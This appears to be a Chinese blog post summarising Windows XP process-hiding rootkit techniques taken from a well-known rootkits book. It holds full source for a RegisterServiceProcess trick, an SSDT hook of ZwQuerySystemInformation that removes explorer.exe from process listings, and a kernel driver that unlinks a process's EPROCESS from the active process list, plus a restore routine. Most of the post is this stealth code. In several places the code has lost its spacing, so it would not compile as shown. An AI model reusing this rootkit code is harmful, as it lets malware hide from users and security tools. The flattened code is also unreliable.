扔出篇垃圾文章,(高手看过笑一下,本文的效果达到了!新入门的觉得有点收获,效果也达到了,高手还是掠过吧!没创新,就是一些总结)
今天是距奥运会的最后一天,已经碌碌无为了.也没什么长进,只是觉得看那本《Rootkits Subverting the Windows Kernel》中文名是《ROOTKITSWindows内核的安全防护》(连名字都给人家改了)觉得收获颇丰.
最近看了下DKOM隐藏驱动,随之联想到几种隐藏进程的方法:
第一种:ring3下的很简单很古老一种方法就是调用RegisterServiceProcess函数
代码:
#include <windows.h> void main() { typedef DWORD (CALLBACK* LPR)(DWORD,DWORD); HINSTANCEhDLL; LPRlpRegisterServiceProcess; hDLL = LoadLibrary("KERNEL32.dll"); //得到RegisterServiceProcess的地址 lpRegisterServiceProcess = (LPR)GetProcAddress( hDLL,"RegisterServiceProcess" ); //执行RegisterServiceProcess函数 lpRegisterServiceProcess( GetCurrentProcessId(),1 ); //卸载链接库 FreeLibrary(hDLL); while ( 1 ) { } }
不过有人反汇编了这个函数而且在NT写了代码
http://www.pc-soft.cn/blogview.asp?logID=30
方法2:HOOK SSDT(地球人都知道呀!HOOK ZwQuerySystemInfo)
没什么意思:
代码:
#include <ntddk.h> //struct of ssdt typedef struct _SERVICE_DESCRIPT0R_TABLE { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; unsigned int NumberOfService; unsigned char *ParamTableBase; }SERVICE_DESCRIPTOR_TABLE,*PSERVICE_DESCRIPTOR_TABLE; typedef struct _SYSTEM_THREADS { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONGWaitTime; PVOIDStartAddress; CLIENT_ID ClientIs; KPRIORITYPriority; KPRIORITYBasePriority; ULONGContextSwitchCount; ULONGThreadState; KWAIT_REASON WaitReason; }SYSTEM_THREADS,*PSYSTEM_THREADS; typedef struct _SYSTEM_PROCESSES { ULONGNextEntryDelta; ULONGThreadCount; ULONGReserved[6]; LARGE_INTEGERCreateTime; LARGE_INTEGERUserTime; LARGE_INTEGERKernelTime; UNICODE_STRINGProcessName; KPRIORITYBasePriority; ULONGProcessId; ULONGInheritedFromProcessId; ULONGHandleCount; ULONGReserved2[2]; VM_COUNTERS VmCounters; IO_COUNTERS IoCounters; //windows 2000 only SYSTEM_THREADSThreads[1]; }SYSTEMPROCESS,*PSYSTEMPROCESS; NTSYSAPISERVICE_DESCRIPTOR_TABLEKeServiceDescriptorTable; NTSYSAPI NTSTATUS NTAPIZwQuerySystemInformation( INULONGSystemInfomationClass, INPVOIDSystemInformation, INULONGSystemInformationLength, OUTPULONGReturnLength ); typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(ULONGSystemInfomationClass, PVOIDSystemInformation, ULONGSystemInformationLength, PULONGReturnLength ); ZWQUERYSYSTEMINFORMATIONOldZwQuerySystemInformation; NTSTATUS NewZwQuerySystemInformation( INULONGSystemInfomationClass, INPVOIDSystemInformation, INULONGSystemInformationLength, OUTPULONGReturnLength ) { NTSTATUSntStatus; ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))( SystemInfomationClass, SystemInformation, SystemInformationLength, ReturnLength ); if ( !NT_SUCCESS( ntStatus ) )//如果失败直接返回 return ntStatus; if ( SystemInfomationClass == 5 )//如果是列表查询! { PSYSTEMPROCESSpCurrentProcess = (PSYSTEMPROCESS)SystemInformation;//得得到进程列表 PSYSTEMPROCESSpPrevious = NULL;//设置第一项为空 while( pCurrentProcess )//开始循环 { if ( pCurrentProcess->ProcessName.Buffer != NULL ) { if ( memcmp( _wcslwr(pCurrentProcess->ProcessName.Buffer),//将字符串变成小写再比较 L"explorer.exe", sizeof( L"explorer.exe" )) == 0) { if ( pPrevious )//如果不是第一个 { if ( pCurrentProcess->NextEntryDelta )//不是最后一个 pPrevious->NextEntryDelta += pCurrentProcess->NextEntryDelta; else//最后一个 pPrevious->NextEntryDelta = 0; } else//第一个 if ( pCurrentProcess->NextEntryDelta ) (char*)SystemInformation += pCurrentProcess->NextEntryDelta; else SystemInformation = NULL; } } pPrevious = pCurrentProcess; if( pCurrentProcess->NextEntryDelta ) (char*)pCurrentProcess += pCurrentProcess->NextEntryDelta;//移向下一个节点 else pCurrentProcess = NULL; } } return ntStatus; } //驱动卸载函数 VOID OnUnload( INPDRIVER_OBJECTDriverObject ) { DbgPrint( " The Driver Unload ! \n" ); DbgPrint( "UnHook Start! \n "); __asm//去掉内存保护 { cli mov eax, cr0 and eax, not 10000h mov cr0, eax } (ZWQUERYSYSTEMINFORMATION) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwQuerySystemInformation + 1 )] = OldZwQuerySystemInformation; __asm//回复内存保护 { mov eax, cr0 or eax, 10000h mov cr0, eax sti } DbgPrint( "UnHook SucessFul! \n" ); } NTSTATUS DriverEntry( INPDRIVER_OBJECTDriverObject, INPUNICODE_STRINGRegistryPath ) { DriverObject->DriverUnload = OnUnload; OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwQuerySystemInformation + 1) ]; DbgPrint( "Hook Start ! \n" ); __asm//去掉内存保护 { cli mov eax, cr0 and eax, not 10000h mov cr0, eax } (ZWQUERYSYSTEMINFORMATION) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwQuerySystemInformation + 1 )] = NewZwQuerySystemInformation; __asm//回复内存保护 { mov eax, cr0 or eax, 10000h mov cr0, eax sti } DbgPrint( "Hook SucessFul! \n" ); return STATUS_SUCCESS; }
第三种DKOM摘链:
详见书的第七章DKOM
原理就是系统中的每个进程都对应一个EPROCESS结构体,
这是我的机子上的Xp-sp2
lkd> dt _EPROCESS
+0x000 Pcb : _KPROCESS
+0x06c ProcessLock : _EX_PUSH_LOCK
+0x070 CreateTime : _LARGE_INTEGER
+0x078 ExitTime : _LARGE_INTEGER
+0x080 RundownProtect : _EX_RUNDOWN_REF
+0x084 UniqueProcessId : Ptr32 Void
+0x088 ActiveProcessLinks : _LIST_ENTRY
这只是其中的一部分,UniqueProcessId参数是进程的ID,ActiveProcessLinks这个是一个双向链表分别指向了前一个进程和后一个进程的ActiveProcessLinks.这样就把所有的进程连成一个双向的链表,可以方便的查询进程的任何信息.
lkd> dt _LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY
+0x004 Blink : Ptr32 _LIST_ENTRY
隐藏进程的原理就是按照进程的ID找到进程的EPROCESS然后将样隐藏的进程的EPROCESS在链表中移除!详图看书
下面的例子没写和ring3中的程序通讯为了简单就只是在任务管理器中找了个PID隐藏了
代码:
#include <ntddk.h> #include <windef.h> //我的是XP-SP2别的系统用WinDbg看一下EPROCESS的结构就行了 #define PIDOFFSET0x84 #define FLINKOFFSET0x88 PLIST_ENTRY pList_Org; ////////////////////////////////////////////////////////////////////////// //根据PID得到进程的EPROCESS ////////////////////////////////////////////////////////////////////////// DWORD FindProcessEPROCByID( int nPID ) { DWORDdwEProc = 0x00000000;//要返回的EPROCESS结构的地址 intnCurrentPID = 0; intnStartPID = 0;//起始ID intnCount = 0; PLIST_ENTRYpList_Current;//当前线程的双链 if ( 0 == nPID ) return 0; dwEProc = (DWORD)PsGetCurrentProcess(); nStartPID = *( ( int* )( dwEProc + PIDOFFSET ) ); nCurrentPID = nStartPID; while( TRUE ) { if ( nPID == nCurrentPID ) return dwEProc; else if ( ( nCount > 0 ) && ( nStartPID == nCurrentPID) ) { return 0x00000000; } else { pList_Current = ( PLIST_ENTRY )( dwEProc + FLINKOFFSET );//当前进程的LIST_ENTRY dwEProc = (DWORD)pList_Current->Flink;//得到下一个进程的LIST_ENTRY地址 dwEProc = dwEProc - FLINKOFFSET;//得到当前进程的EPROCESS nCurrentPID = *( (int*)( dwEProc + PIDOFFSET ) );//得到下一个进程的PID nCount++; } } } ////////////////////////////////////////////////////////////////////// //隐藏进程函数 ////////////////////////////////////////////////////////////////////// NTSTATUS HideProcess( ) { DWORD dwEProc= 0; PLIST_ENTRY pList_Current; //这里的1816就是在任务管理器中随便找的! dwEProc= FindProcessEPROCByID( 1816 ); //没有的到地址 if ( dwEProc == 0x00000000 ) { return STATUS_INVALID_PARAMETER; } pList_Current = (PLIST_ENTRY)( dwEProc + FLINKOFFSET ); pList_Org = pList_Current; *( (DWORD*)pList_Current->Blink ) = (DWORD)pList_Current->Flink; *( (DWORD*)pList_Current->Flink + 1 ) = (DWORD)pList_Current->Blink; pList_Current->Flink = (PLIST_ENTRY)&( pList_Current->Flink ); pList_Current->Blink = (PLIST_ENTRY)&( pList_Current->Flink ); return STATUS_SUCCESS; } ////////////////////////////////////////////////////////////////////////// //驱动卸载 ////////////////////////////////////////////////////////////////////////// NTSTATUS OnUnload( PDRIVER_OBJECT pDriverObj ) { DbgPrint( "Driver OnUnload! \n " ) return STATUS_SUCCESS; } ////////////////////////////////////////////////////////////////////////// // 驱动加载 ////////////////////////////////////////////////////////////////////////// NTSTATUS DriverEntry( PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryString) { NTSTATUS ntStatus; pDriverObj->DriverUnload = OnUnload; ntStatus = HideProcess(); return ntStatus; }
随之又编写了一个还原函数
代码:
NTSTATUSRestore() { //在当前进程处插入 DWORDdwEProc= 0; PLIST_ENTRYpList_Current; dwEProc= (DWORD)PsGetCurrentProcess(); *( (DWORD*)pList_Org->Flink ) = (DWORD)pList_Current->Flink; *( (DWORD*)pList_Org->Blink ) = (DWORD)pList_Current; *( (DWORD*)pList_Current->Flink + 1) = (DWORD)pList_Org; *( (DWORD*)pList_Current->Flink ) = (DWORD)pList_Org; DbgPrint( "Restore SucessFul! \n" ); return STATUS_SUCCESS; }
在驱动卸载的时候调用这个函数,编译放在虚拟机中运行,靠,好大一块蓝玻璃?难道是双向链表的操作错了?懂的跳过!
(可笑之处上)
这里我再嗦下双向链表的操作!为此我有写了一个模拟EPROCESS的Demo
代码:
#include <Windows.h> #include <stdio.h> //双向链表 struct LINKENTRY { LINKENTRY*pNext;//指向前一个 LINKENTRY*pPrev;//指向后一个 }; //....... struct LINKTABLE { DWORDdwNum1;//模拟结构体EPROCESS上面的内容 LINKENTRYpLinkEntry;//PLINKENTRY结构体指针 DWORDdwNum2;//模拟结构体EPROCESS下面的内容 }; //主函数 void main() { ////////////////////////////////////////////////////////////////////////// //新建一个链表 ////////////////////////////////////////////////////////////////////////// LINKTABLE*pLinkTable[3]; printf( "%d\n", sizeof( DWORD ) ); printf( "%d \n", sizeof( LINKTABLE ) ); LINKTABLE*pLinkTemp; for ( int i = 0; i < 3; i++ ) pLinkTable[i] = newLINKTABLE; pLinkTable[0]->dwNum1 = 0; pLinkTable[0]->dwNum2 = 0; pLinkTable[0]->pLinkEntry.pPrev = NULL; pLinkTable[0]->pLinkEntry.pNext = ( LINKENTRY* )&pLinkTable[1]->pLinkEntry; pLinkTable[1]->dwNum1 = 1; pLinkTable[1]->dwNum2 = 1; pLinkTable[1]->pLinkEntry.pPrev = ( LINKENTRY* )&pLinkTable[0]->pLinkEntry; pLinkTable[1]->pLinkEntry.pNext = ( LINKENTRY* )&pLinkTable[2]->pLinkEntry; pLinkTable[2]->dwNum1 = 2; pLinkTable[2]->dwNum2 = 2; pLinkTable[2]->pLinkEntry.pPrev = ( LINKENTRY* )&pLinkTable[1]->pLinkEntry; pLinkTable[2]->pLinkEntry.pNext = NULL; pLinkTemp = pLinkTable[0]; printf( "\n******************************************************\n" ); for ( i = 0; i < 3; i++ ) { printf( "Num[%d]1 = %d \n", i, (int)( pLinkTemp->dwNum1 ) ); printf( "Num[%d]2 = %d \n", i, (int)( pLinkTemp->dwNum2 ) ); pLinkTemp = ( LINKTABLE* )((DWORD)( pLinkTemp->pLinkEntry.pNext) - 4); printf( "pLinkTable[1] = %08x\n", pLinkTable[1] ); printf( "pLinkTemp = %08x\n", pLinkTemp); } printf( "******************************************************\n\n" ); ////////////////////////////////////////////////////////////////////////// //移除第二项 ////////////////////////////////////////////////////////////////////////// pLinkTemp = pLinkTable[0]; LINKENTRY* pListCurrent; //= new LINKENTRY; pListCurrent = (LINKENTRY*)&pLinkTable[1]->pLinkEntry; *((DWORD*)pListCurrent->pPrev) = (DWORD)pListCurrent->pNext; *((DWORD*)pListCurrent->pNext + 1) = (DWORD)pListCurrent->pPrev; printf( "\n******************************************************\n" ); for ( i = 0; i < 2; i++ ) { printf( "Num[%d]1 = %d \n", i, (int)( pLinkTemp->dwNum1 ) ); printf( "Num[%d]2 = %d \n", i, (int)( pLinkTemp->dwNum2 ) ); pLinkTemp = ( LINKTABLE* )((DWORD)( pLinkTemp->pLinkEntry.pNext) - 4); printf( "pLinkTable[1] = %08x\n", pLinkTable[1] ); printf( "pLinkTemp = %08x\n", pLinkTemp); } printf( "\n******************************************************\n" ); ////////////////////////////////////////////////////////////////////////// //把原来项插入到链表中去 ////////////////////////////////////////////////////////////////////////// pLinkTemp = pLinkTable[0]; LINKENTRY* pListOrg = pListCurrent; pListCurrent = (LINKENTRY*)&pLinkTable [0]->pLinkEntry; *((DWORD*)pListOrg->pNext)= (DWORD)pListCurrent->pNext; //修改要插入项的向前的指针 *((DWORD*)pListOrg->pPrev)= (DWORD)pListCurrent;//修改要插入项的向后的指针 *((DWORD*)pListCurrent->pNext + 1)= (DWORD)pListOrg;//修改最前向的向后的指针 *((DWORD*)pListCurrent->pNext)= (DWORD)pListOrg;//修改最后一项的向前的指针 printf( "\n******************************************************\n" ); for ( i = 0; i < 3; i++ ) { printf( "Num[%d]1 = %d \n", i, (int)( pLinkTemp->dwNum1 ) ); printf( "Num[%d]2 = %d \n", i, (int)( pLinkTemp->dwNum2 ) ); pLinkTemp = ( LINKTABLE* )((DWORD)( pLinkTemp->pLinkEntry.pNext) - 4); printf( "pLinkTable[1] = %08x\n", pLinkTable[1] ); printf( "pLinkTemp = %08x\n", pLinkTemp->pLinkEntry.pNext); } printf( "******************************************************\n\n" ); }
----摘掉的EPROCESS不能再被插入
(个人觉得也不对,不过论坛上问了下没人回答知道暂时这样了)
请大家踊跃批评,最好能反驳这个结论!(写上原因哦!)
/*************************************************************************/
/*************************************************************************/
上面的问题解决了,还是在WinDbg的帮助下解决了问题,结论是错误的,(其实早就知道是错的)Ring3下的模拟的双链和内核中的EPROCESS的机制不一样,ring3下的是死的,而在内核中系统会紫铜扫描结构体的变化,把改掉的结构体相关的结构都改过来,导致所有有的结构体指针没有改变,
现把解决方法注上!(就是修改后的Restore函数):
代码:
NTSTATUS Restore() { //在当前进程处插入 DWORD dwEProc = 0; PLIST_ENTRY pList_Current; dwEProc = (DWORD)PsGetCurrentProcess(); if( 0 == dwEProc ) return STATUS_SUCCESS; pList_Current = ( PLIST_ENTRY )(dwEProc + FLINKOFFSET); *( (DWORD*)pList_Org->Flink ) = (DWORD)pList_Current->Flink; //*( (DWORD*)pList_Org->Blink ) = (DWORD)pList_Current; pList_Org->Blink = (PLIST_ENTRY)pList_Current; *( (DWORD*)pList_Current->Flink + 1) = (DWORD)pList_Org; //*( (DWORD*)pList_Current->Flink ) = (DWORD)pList_Org; pList_Current->Flink = (PLIST_ENTRY)pList_Org; DbgPrint( "UnHook SucessFul! \n" ); return STATUS_SUCCESS; }
/*************************************************************************/
第四种就是:
用补丁方法就是Detour Patching来修改NtQuerySystemInformation函数
(就是那个跳来跳去的方法)
唉!文章太长了以后补上